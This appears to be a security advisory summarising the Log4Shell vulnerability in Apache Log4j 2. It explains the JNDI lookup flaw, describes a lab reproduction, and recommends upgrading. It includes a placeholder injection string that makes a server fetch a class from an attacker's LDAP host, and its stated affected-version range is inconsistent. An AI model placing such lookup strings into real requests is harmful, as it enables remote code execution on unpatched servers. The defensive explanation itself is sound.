Log4Shell (CVE-2021-44228) – Executive Summary
On Dec. 9, 2021, an exploit for a critical zero-day vulnerability affecting Apache Log4j 2 was identified being exploited in the wild. All versions of Log4j2 versions >= 2.0-beta9 and <= 2.15.0 are affected by ...
Log4Shell (CVE-2021-44228) – Executive Summary
On Dec. 9, 2021, an exploit for a critical zero-day vulnerability affecting Apache Log4j 2 was identified being exploited in the wild. All versions of Log4j2 versions >= 2.0-beta9 and <= 2.15.0 are affected by this vulnerability. By submitting a specially crafted request to a vulnerable system, depending on how the system is configured, an attacker is able to instruct that system to download and subsequently execute a malicious payload. Due to the discovery of this exploit being so recent, there are still many servers, both on-premises and within cloud environments, that have yet to be patched. Like many high severity RCE exploits, thus far, massive scanning activity for CVE-2021-44228 has begun on the internet with the intent of seeking out and exploiting unpatched systems. We highly recommend that organizations upgrade to the latest version (2.17.1) of Apache Log4j 2 for all systems.
CVE-2021-44228 Log4j Arbitrary Code Execution
Log4j is a well-known logging framework that is used by a wide range of software. This makes the vulnerability appealing to attackers because the large presence of this library would mean a lot of software and companies would be exposed to this vulnerability. More than 90% of cloud service providers were affected, among other companies.
The vulnerability exists because of a flaw in the way Log4j allows logging requests to be sent to the library. The library permits logging requests to contain embedded requests that can be forwarded to other LDAP or JNDI (Java Naming and Directory Interface) servers. These requests could be crafted to load a malicious Java class on the system running a vulnerable version of Log4j library. The “logger” class in Log4j contains a method named “error”. Invoking logger.error with an error message passed in as parameter gets the message logged by Log4j depending on how the error message was formatted. An attacker can control the formatting of the error message and have the Log4j library communicate with other systems. As an example, the error message could be formatted to have the Log4j library communicate with a JNDI server, setup by the attacker, to download additional classes hosted on this malicious JNDI server. These classes would contain run code of the attackers choosing, leading to system compromise. The message to the logging function would be formatted as follows—
${jndi:<protocol>://<Attacker Server IP>/<Malicious Class File>}
It isn’t necessary that an error condition should arise for the logging method to be invoked. Any part or field of the HTTP, or non-HTTP, request of an affected software that is logged by the Log4j library can be modified by an attacker to contain a request formatted as shown previously. Affected versions are Log4j 2.0 to 2.14.1. To test if your environment is running an affected version of Log4j software, the publicly available tool may be used. *
The Log4j shell was reproduced in our lab using a publicly available PoC. In the packet capture above it can be observed that an HTTP header field contains field with a value that gets logged by the Log4j library in the PoC. The actual request is sent to the IP address 192.168.14.148, however, the log message is formatted to redirect a request to 192.168.14.149 which hosts a malicious LDAP server from a malicious class file, gets downloaded and executed on the victim server 192.168.14.148.